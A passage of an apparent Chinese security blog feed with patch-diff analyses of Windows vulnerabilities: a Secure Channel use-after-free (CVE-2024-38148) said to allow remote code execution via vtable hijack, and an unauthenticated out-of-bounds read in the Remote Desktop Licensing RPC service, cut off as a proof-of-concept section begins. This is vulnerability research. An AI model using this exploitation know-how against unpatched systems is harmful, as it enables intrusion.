1800e7f60</span><br><span class="line">23 ASN1Dec_CertificationRequestInfoDecode  1800b3af0</span><br><span class="line">24 ASN1Dec_KeygenRequestInfo  1800e9610</span><br><span class="line">25 ASN1Dec_AuthorityKeyId  1800a84e0</span><br><span class="line">26 ASN1Dec_AltNames  1800790c0</span><br><span class="line">27 ASN1Dec_EDIPartyName  1800e9030</span><br><span class="line">28 ASN1Dec_BasicConstraints2  18008ac60</span><br><span class="line">29 ASN1Dec_CertificatePolicies  180081880</span><br><span class="line">30 ASN1Dec_CertificatePolicies95  1800e7e40</span><br><span class="line">31 ASN1Dec_AuthorityKeyId2  180078c40</span><br><span class="line">32 ASN1Dec_AuthorityInfoAccess  1800788e0</span><br><span class="line">33 ASN1Dec_CRLDistributionPoints  180078d90</span><br><span class="line">34 ASN1Dec_ContentInfo_0  18009fe00</span><br><span class="line">35 ASN1Dec_SeqOfAny  180079740</span><br><span class="line">36 ASN1Dec_TimeStampRequest  1800ec370</span><br><span class="line">37 ASN1Dec_ContentInfoOTS  1800e8730</span><br><span class="line">38 ASN1Dec_TimeStampRequestOTS  1800ec450</span><br><span class="line">39 ASN1Dec_EnhancedKeyUsage  180083970</span><br><span class="line">40 ASN1Dec_EnrollmentNameValuePair  1800e9310</span><br><span class="line">41 ASN1Dec_CSPProvider  1800e7a20</span><br><span class="line">42 ASN1Dec_CertificatePair  1800aadd0</span><br><span class="line">43 ASN1Dec_IssuingDistributionPoint  1800784d0</span><br><span class="line">44 ASN1Dec_PolicyMappings  1800aca70</span><br><span class="line">45 ASN1Dec_PolicyConstraints  1800b3e30</span><br><span class="line">46 ASN1Dec_CmcAddExtensions  1800e81f0</span><br><span class="line">47 ASN1Dec_CmcAddAttributes  1800e8130</span><br><span class="line">48 ASN1Dec_CertificateTemplate  1800a3390</span><br><span class="line">49 ASN1Dec_OcspBasicResponse  180076130</span><br><span class="line">50 ASN1Dec_BiometricSyntax  1800e77e0</span><br><span class="line">51 ASN1Dec_Attribute  1800853a0</span><br><span class="line">52 ASN1Dec_X942DhParameters  1800ecb30</span><br><span class="line">53 ASN1Dec_X942DhOtherInfo  1800ec9b0</span><br><span class="line">54 ASN1Dec_CertificateToBeSigned  18007d6a0</span><br><span class="line">55 ASN1Dec_CertificateRevocationListToBeSigned  180075f30</span><br><span class="line">56 ASN1Dec_KeyAttributes  1800e93d0</span><br><span class="line">57 ASN1Dec_KeyUsageRestriction  1800e9510</span><br><span class="line">58 ASN1Dec_BasicConstraints  1800b4230</span><br><span class="line">59 ASN1Dec_UserNotice  1800ec6b0</span><br><span class="line">60 ASN1Dec_VerisignQualifier1  1800ec7b0</span><br><span class="line">61 ASN1Dec_ContentInfoSeqOfAny  1800e8850</span><br><span class="line">62 ASN1Dec_CertificateTrustList  180076c10</span><br><span class="line">63 ASN1Dec_NameConstraints  1800783e0</span><br><span class="line">64 ASN1Dec_CrossCertDistPoints  1800e8dd0</span><br><span class="line">65 ASN1Dec_CmcData  1800e82b0</span><br><span class="line">66 ASN1Dec_CmcResponseBody  1800e8380</span><br><span class="line">67 ASN1Dec_CmcStatusInfo  1800e8430</span><br><span class="line">68 ASN1Dec_OcspTbsRequest  1800a8b90</span><br><span class="line">69 ASN1Dec_OcspResponse  180095c50</span><br><span class="line">70 ASN1Dec_OcspBasicResponseData  180076280</span><br><span class="line">71 ASN1Dec_RsaSsaPssParameters  1800eb630</span><br><span class="line">72 ASN1Dec_RsaesOaepParameters  1800b0010</span><br><span class="line">73 ASN1Dec_OcspRequest  1800aeba0</span><br><span class="line">74 ASN1Dec_LogotypeExtn  1800e9b90</span><br><span class="line">75 ASN1Dec_EccCmsSharedInfo  1800e9190</span><br><span class="line">76 ASN1Dec_TimeStampReq  1800ec1c0</span><br><span class="line">77 ASN1Dec_TSTInfo  1800768e0</span><br><span class="line">78 ASN1Dec_TimeStampResp  1800ec530</span><br><span class="line">79 ASN1Dec_ChoiceOfCertOrCrl  1800e8040</span><br><span class="line">80 ASN1Dec_CertificateBundle  1800e7d40</span><br><span class="line">81 ASN1Dec_RSAPrivateKey_0  1800eb330</span><br><span class="line">82 ASN1Dec_SubjectDirectoryAttributes  1800ebac0</span><br><span class="line">83 ASN1Dec_SupportedAlgorithm  1800ebd00</span><br><span class="line">84 ASN1Dec_TPMSpecification  1800ebe10</span><br><span class="line">85 ASN1Dec_CRLEntry  180077460</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;在挖掘secure schannel的过程中, 发现后期有在调用&lt;code&gt;crypt32!CryptDecodeObject&lt;/code&gt;函数去解码证书相关操作, 于是深入分析了一下, 发现存在很明显的整数溢出问题, 后来发现有长度限制. 经过遍历所有的解码操作, 找到了可以成功触发的整数溢出. 一起来了解一下吧.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows Secure Channel RCE CVE-2024-38148的介绍</title>
    <link href="http://474172261.github.io/2024/08/19/CVE-2024-38148/"/>
    <id>http://474172261.github.io/2024/08/19/CVE-2024-38148/</id>
    <published>2024-08-19T02:17:59.205Z</published>
    <updated>2024-08-23T03:16:40.116Z</updated>
    
    <content type="html"><![CDATA[<p>我之前看过一次secure channel, 在跟踪crypto处理时, 也发现了一个整数溢出(CVE-2024-29050), 可惜的是没找到远程无认证的攻击场景, 最后只能实现基于文件的远程代码执行. 在这个公告更新的时候, 也去分析了一下问题, 发现它并不是如微软官方定义的那样, 是一个dos的问题, 实际上, 它是一个uaf问题, 而且有利用的潜质, 合理的利用是非常可能被用于未认证的远程代码执行的, 鉴于它的危害性, 我就没有在补丁出来后公告, 而是现在才发文. 下面让我们一起了解一下吧.</p><span id="more"></span><h1 id="Bug"><a href="#Bug" class="headerlink" title="Bug"></a>Bug</h1><p>首先, 通过补丁对比, 很容易就看到修补的位置, 在 <code>CSsl3TlsContext::CSsl3TlsContext</code>函数内, 多了这么一段代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !(<span class="type">unsigned</span> __int8)wil::details::FeatureImpl&lt;__WilFeatureTraits_Feature_2612696381&gt;::__private_IsEnabled(&amp;`wil::Feature&lt;__WilFeatureTraits_Feature_2612696381&gt;::GetImpl<span class="number">&#x27;</span>::`<span class="number">2&#x27;</span>::impl) )</span><br><span class="line">&#123;</span><br><span class="line">  *(_QWORD *)(<span class="keyword">this</span> + <span class="number">472</span>) = *(_QWORD *)(a2 + <span class="number">472</span>);</span><br><span class="line">  *(_QWORD *)(a2 + <span class="number">472</span>) = <span class="number">0</span>i64;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>经过实际测试, 这个feature函数返回1, 因此补丁实际上是屏蔽了这个字段的赋值操作. </p><p>让我们来分析一下 472偏移的位置放了什么东西.</p><p>使用ida搜索binary:</p><p><img src="/images/CVE-2024-38148.assets/1724034570953.png" alt="1724034570953"></p><p>筛选一下结果, 得到如下赋值操作:</p><p><img src="/images/CVE-2024-38148.assets/1724034623677.png" alt="1724034623677"></p><p>在函数<code>CSsl3TlsServerContext::ProcessRecord</code>内, 一段代码如下:</p><p><img src="/images/CVE-2024-38148.assets/1724034677110.png" alt="1724034677110"></p><p>可以看到, 这里申请了一个新内存(记作M1), 并将它赋值给472(hex: 1D8h)的字段.</p><p>查看函数<code>CTlsMessageFragment::Initialize</code>:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> __fastcall <span class="title">CTlsMessageFragment::Initialize</span><span class="params">(CTlsMessageFragment *<span class="keyword">this</span>, <span class="keyword">struct</span> CSsl3TlsContext *a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// edx</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// edx</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  *(_QWORD *)<span class="keyword">this</span> = a2;</span><br><span class="line">  ......</span><br><span class="line">  v3 = <span class="number">1536</span>;</span><br><span class="line">LABEL_9:</span><br><span class="line">  *((_DWORD *)<span class="keyword">this</span> + <span class="number">3</span>) = v3;</span><br><span class="line">  v5 = *((_DWORD *)<span class="keyword">this</span> + <span class="number">2</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v5 &gt; <span class="number">0xFFFFFF</span> )</span><br><span class="line">    v5 = <span class="number">0xFFFFFF</span>;</span><br><span class="line">  *((_DWORD *)<span class="keyword">this</span> + <span class="number">2</span>) = v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到, 它把a2赋值给了M1的第一个8字节的字段.</p><p>那么我们大概可以得出一个结论, 那就是在<code>CSsl3TlsContext::CSsl3TlsContext</code>内, 虽然赋值操作将a2结构体的472字段置零了, 但是, 没有更新M1的第一个字段, 导致它还是指向了a2, 所以, 可能在后续的释放流程里, 原始的a2结构体被先释放了, 然后接着在新的结构体里引用了M1的第一个字段, 从而导致了UAF问题.</p><p>接下来我们看一下其它引用了该字段且是free或者clean的操作:</p><p><img src="/images/CVE-2024-38148.assets/1724035328253.png" alt="1724035328253"></p><p>查看函数<code>CTls13ServerContext::CleanupConnectedState</code></p><p><img src="/images/CVE-2024-38148.assets/1724035366870.png" alt="1724035366870"></p><p>从这可以看到, 它在释放流程里引用了该字段.<code>v12</code>是M1结构体, <code>*v12</code>就是被释放的结构体.</p><p>最后经过实际测试, 也确实是这个位置存在uaf问题. 从使用的位置也可以看出, 它会使用到结构体的虚表, 如果占位得当, 就可以直接控制rip, 配合合理的gadgets, 就可以实现远程代码执行.</p><h1 id="感想"><a href="#感想" class="headerlink" title="感想"></a>感想</h1><p>漏掉它, 还是在于我经验不足, 没有深入allocate函数去看它的实现中是否错误地引用了字段, 另一个, 我当时的重点放在了字节码解析上, 所以没有重点考虑uaf的问题. 经过此次学习, 也是提醒我看代码要尽量有耐心, 多关注字段的赋值.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;我之前看过一次secure channel, 在跟踪crypto处理时, 也发现了一个整数溢出(CVE-2024-29050), 可惜的是没找到远程无认证的攻击场景, 最后只能实现基于文件的远程代码执行. 在这个公告更新的时候, 也去分析了一下问题, 发现它并不是如微软官方定义的那样, 是一个dos的问题, 实际上, 它是一个uaf问题, 而且有利用的潜质, 合理的利用是非常可能被用于未认证的远程代码执行的, 鉴于它的危害性, 我就没有在补丁出来后公告, 而是现在才发文. 下面让我们一起了解一下吧.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows Remote Desktop Licensing Service 漏洞解析</title>
    <link href="http://474172261.github.io/2024/07/29/rdp_license_server_bugs/"/>
    <id>http://474172261.github.io/2024/07/29/rdp_license_server_bugs/</id>
    <published>2024-07-29T08:24:28.548Z</published>
    <updated>2024-07-29T08:52:20.929Z</updated>
    
    <content type="html"><![CDATA[<p>鉴于该服务近期出了好几个bug, 学习一下该服务的几个例子.</p><span id="more"></span><h2 id="启用rdp-license服务"><a href="#启用rdp-license服务" class="headerlink" title="启用rdp license服务"></a>启用rdp license服务</h2><p><img src="/images/rdp_license_server_bugs.assets/1722241768466.png" alt="1722241768466"></p><p><img src="/images/rdp_license_server_bugs.assets/1722241795377.png" alt="1722241795377"></p><p>安装后, 通过资源管理器, 找到端口</p><p><img src="/images/rdp_license_server_bugs.assets/1722241893258.png" alt="1722241893258"></p><p>其实它是一个rpc服务, 使用rpcview打开该进程:</p><p><img src="/images/rdp_license_server_bugs.assets/1722242034659.png" alt="1722242034659"></p><p>可以看到, <code>lserver.dll</code>创建的rpc服务, 且flags是0, 意味着无需认证.</p><p>在dll处右键, 使用decompile, 会发现报错:</p><p><img src="/images/rdp_license_server_bugs.assets/1722242136592.png" alt="1722242136592"></p><p><img src="/images/rdp_license_server_bugs.assets/1722242156039.png" alt="1722242156039"></p><p>我简单做了些不完全的处理, 具体参考IDL章节.</p><h2 id="分析补丁"><a href="#分析补丁" class="headerlink" title="分析补丁"></a>分析补丁</h2><p><img src="/images/rdp_license_server_bugs.assets/1722242308339.png" alt="1722242308339"></p><p>这里, 我们主要关注<code>HashChallengeData</code>函数</p><p>补丁前:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">HashChallengeData</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">        HCRYPTPROV a1,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">int</span> a2,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> a3,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> __int8 *a4,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> a5,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> __int8 *hHash,</span></span></span><br><span class="line"><span class="params"><span class="function">        DWORD pdwDataLen,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> __int8 **a8,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> *a9)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 v10; <span class="comment">// rsi</span></span><br><span class="line">  DWORD LastError; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 *v13; <span class="comment">// rdi</span></span><br><span class="line">  <span class="type">const</span> BYTE *v14; <span class="comment">// r14</span></span><br><span class="line">  BYTE *v15; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> *v16; <span class="comment">// rcx</span></span><br><span class="line"></span><br><span class="line">  v10 = a3;</span><br><span class="line">  LastError = <span class="number">0</span>;</span><br><span class="line">  hHash = <span class="number">0</span>i64;</span><br><span class="line">  pdwDataLen = <span class="number">0</span>;</span><br><span class="line">  v13 = <span class="number">0</span>i64;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">CryptCreateHash</span>(a1, <span class="number">0x8003</span>u, <span class="number">0</span>i64, <span class="number">0</span>, (HCRYPTHASH *)&amp;hHash) )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_14;</span><br><span class="line">  v14 = a2 == <span class="number">2</span> ? <span class="string">L&quot;d46b4bf2-686d-11d2-96ae-00c04fa3080d&quot;</span> : (<span class="type">const</span> BYTE *)<span class="string">L&quot;d63a773e-6799-11d2-96ae-00c04fa3080d&quot;</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">CryptHashData</span>((HCRYPTHASH)hHash, a4, v10, <span class="number">0</span>) || !<span class="built_in">CryptHashData</span>((HCRYPTHASH)hHash, v14, <span class="number">0x48</span>u, <span class="number">0</span>) )</span><br></pre></td></tr></table></figure><p>补丁后:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">HashChallengeData</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">        HCRYPTPROV hProv,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">int</span> a2,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> a3,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> __int8 *a4,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> a5,</span></span></span><br><span class="line"><span class="params"><span class="function">        HCRYPTHASH hHash,</span></span></span><br><span class="line"><span class="params"><span class="function">        DWORD pdwDataLen,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> __int8 **a8,</span></span></span><br><span class="line"><span class="params"><span class="function">        <span class="type">unsigned</span> <span class="type">int</span> *a9)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 v10; <span class="comment">// r14</span></span><br><span class="line">  DWORD LastError; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 *v14; <span class="comment">// rdi</span></span><br><span class="line">  <span class="type">int</span> v15; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">const</span> BYTE *v16; <span class="comment">// r15</span></span><br><span class="line">  BYTE *v17; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> *v18; <span class="comment">// rcx</span></span><br><span class="line"></span><br><span class="line">  v10 = a3;</span><br><span class="line">  LastError = <span class="number">0</span>;</span><br><span class="line">  hHash = <span class="number">0</span>i64;</span><br><span class="line">  pdwDataLen = <span class="number">0</span>;</span><br><span class="line">  v14 = <span class="number">0</span>i64;</span><br><span class="line">  <span class="built_in">LOBYTE</span>(v15) = <span class="built_in">EvaluateCurrentState</span>((<span class="type">int</span> **)&amp;g_Feature_1367177530_50463178_FeatureDescriptorDetails);</span><br><span class="line">  <span class="keyword">if</span> ( v15 &amp;&amp; (!hProv || !a4 || a5 - <span class="number">1</span> &gt; <span class="number">0x3F</span> || a5 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)v10) )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">CryptCreateHash</span>(hProv, <span class="number">0x8003</span>u, <span class="number">0</span>i64, <span class="number">0</span>, &amp;hHash) )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_19;</span><br><span class="line">  v16 = a2 == <span class="number">2</span> ? <span class="string">L&quot;d46b4bf2-686d-11d2-96ae-00c04fa3080d&quot;</span> : (<span class="type">const</span> BYTE *)<span class="string">L&quot;d63a773e-6799-11d2-96ae-00c04fa3080d&quot;</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">CryptHashData</span>(hHash, a4, v10, <span class="number">0</span>) || !<span class="built_in">CryptHashData</span>(hHash, v16, <span class="number">0x48</span>u, <span class="number">0</span>) )</span><br></pre></td></tr></table></figure><p>一个显而易见的可能, 就是v10(即a3)比a5大, 导致<code>CryptHashData(hHash, a4, v10, 0)</code>位置越界读取了a4的数据.</p><p>它的引用方有多个, 我们关注其中一个<code>TLSRpcChallengeServer</code></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">TLSRpcChallengeServer</span><span class="params">(__int64 a1, <span class="type">unsigned</span> <span class="type">int</span> a2, __int64 a3, _QWORD *a4, __int64 a5, _DWORD *a6)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int16 *v10; <span class="comment">// rcx</span></span><br><span class="line">  _DWORD *v11; <span class="comment">// r15</span></span><br><span class="line">  _DWORD *v12; <span class="comment">// rsi</span></span><br><span class="line">  HLOCAL v13; <span class="comment">// rdi</span></span><br><span class="line">  DWORD LastError; <span class="comment">// ebx</span></span><br><span class="line">  __int64 v15; <span class="comment">// r15</span></span><br><span class="line">  HLOCAL v16; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v17; <span class="comment">// ebx</span></span><br><span class="line">  _DWORD *v18; <span class="comment">// rbp</span></span><br><span class="line">  _DWORD *v19; <span class="comment">// r13</span></span><br><span class="line">  <span class="type">void</span> *v20; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">void</span> *v21; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">void</span> *v22; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">void</span> *v23; <span class="comment">// rcx</span></span><br><span class="line">  HCRYPTHASH v25; <span class="comment">// [rsp+28h] [rbp-60h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v26; <span class="comment">// [rsp+30h] [rbp-58h]</span></span><br><span class="line">  HCRYPTPROV phProv; <span class="comment">// [rsp+90h] [rbp+8h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v28; <span class="comment">// [rsp+98h] [rbp+10h]</span></span><br><span class="line"></span><br><span class="line">  v28 = a2;</span><br><span class="line">  v10 = WPP_GLOBAL_Control;</span><br><span class="line">  <span class="keyword">if</span> ( WPP_GLOBAL_Control != (<span class="type">unsigned</span> __int16 *)&amp;WPP_GLOBAL_Control</span><br><span class="line">    &amp;&amp; (*((_DWORD *)WPP_GLOBAL_Control + <span class="number">7</span>) &amp; <span class="number">0x1000</span>) != <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">WPP_SF_S</span>(*((_QWORD *)WPP_GLOBAL_Control + <span class="number">2</span>));</span><br><span class="line">    v10 = WPP_GLOBAL_Control;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !a1 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">87</span>i64;</span><br><span class="line">  v11 = a6;</span><br><span class="line">  <span class="keyword">if</span> ( !a6 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">87</span>i64;</span><br><span class="line">  v12 = <span class="number">0</span>i64;</span><br><span class="line">  v13 = <span class="number">0</span>i64;</span><br><span class="line">  phProv = <span class="number">0</span>i64;</span><br><span class="line">  <span class="keyword">if</span> ( v10 != (<span class="type">unsigned</span> __int16 *)&amp;WPP_GLOBAL_Control &amp;&amp; (v10[<span class="number">14</span>] &amp; <span class="number">0x20</span>) != <span class="number">0</span> )</span><br><span class="line">    <span class="built_in">WPP_SF_S</span>(*((_QWORD *)v10 + <span class="number">2</span>));</span><br><span class="line">  _InterlockedIncrement((<span class="keyword">volatile</span> <span class="type">signed</span> __int32 *)(a1 + <span class="number">8</span>));</span><br><span class="line">  <span class="keyword">if</span> ( !*(_DWORD *)(a1 + <span class="number">20</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( a3 &amp;&amp; a4 &amp;&amp; (v15 = a5) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( *(_DWORD *)a3 != <span class="number">0x10000</span> || !*(_DWORD *)(a3 + <span class="number">8</span>) || !*(_QWORD *)(a3 + <span class="number">16</span>) )</span><br><span class="line">      &#123;</span><br><span class="line">        LastError = <span class="number">-1073676256</span>;</span><br><span class="line">        <span class="keyword">goto</span> LABEL_47;</span><br><span class="line">      &#125;</span><br><span class="line">      v13 = <span class="built_in">LocalAlloc</span>(<span class="number">0x40</span>u, <span class="number">0x20</span>ui64);</span><br><span class="line">      <span class="keyword">if</span> ( !v13 )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_18;</span><br><span class="line">      v12 = <span class="built_in">LocalAlloc</span>(<span class="number">0x40</span>u, <span class="number">0x28</span>ui64);</span><br><span class="line">      <span class="keyword">if</span> ( !v12 )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_18;</span><br><span class="line">      v16 = <span class="built_in">LocalAlloc</span>(<span class="number">0x40</span>u, <span class="number">0x28</span>ui64);</span><br><span class="line">      *(_QWORD *)v15 = v16;</span><br><span class="line">      <span class="keyword">if</span> ( !v16 )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_18;</span><br><span class="line">      v17 = <span class="built_in">HashChallengeData</span>(</span><br><span class="line">              g_hCryptProv,</span><br><span class="line">              a2,</span><br><span class="line">              *(_DWORD *)(a3 + <span class="number">4</span>),</span><br><span class="line">              *(<span class="type">unsigned</span> __int8 **)(a3 + <span class="number">16</span>),</span><br><span class="line">              *(_DWORD *)(a3 + <span class="number">8</span>),</span><br><span class="line">              v25,</span><br><span class="line">              v26,</span><br><span class="line">              (<span class="type">unsigned</span> __int8 **)v13 + <span class="number">1</span>,</span><br><span class="line">              (<span class="type">unsigned</span> <span class="type">int</span> *)v13 + <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>可以知道, <code>HashChallengeData</code>的a3, a4, a5都来自于<code>TLSRpcChallengeServer</code>函数的参数a3结构体的数据.</p><p>逆向a3的构造函数后, 得知它的结构体形如:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">uknow1</span> &#123;</span></span><br><span class="line">    <span class="type">int</span> f1;</span><br><span class="line">    <span class="type">int</span> f2;</span><br><span class="line">    <span class="type">int</span> f3;</span><br><span class="line">    <span class="type">int</span> f4;</span><br><span class="line">    [size_is(f3)] <span class="type">unsigned</span> <span class="type">char</span>* buff;</span><br><span class="line">    <span class="type">int</span> f18;</span><br><span class="line">    <span class="type">int</span> f1c;</span><br><span class="line">    [size_is(f18)] <span class="type">unsigned</span> <span class="type">char</span>* buff2;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h2 id="构造poc"><a href="#构造poc" class="headerlink" title="构造poc"></a>构造poc</h2><p>创建一个rpc的client, 如何创建可以参考我的rpc介绍里的示例项目.</p><p>另外, 因为函数参数需要一个handle, 我们还需要调用<code>Proc1_TLSRpcConnect</code>来获取handle.</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td 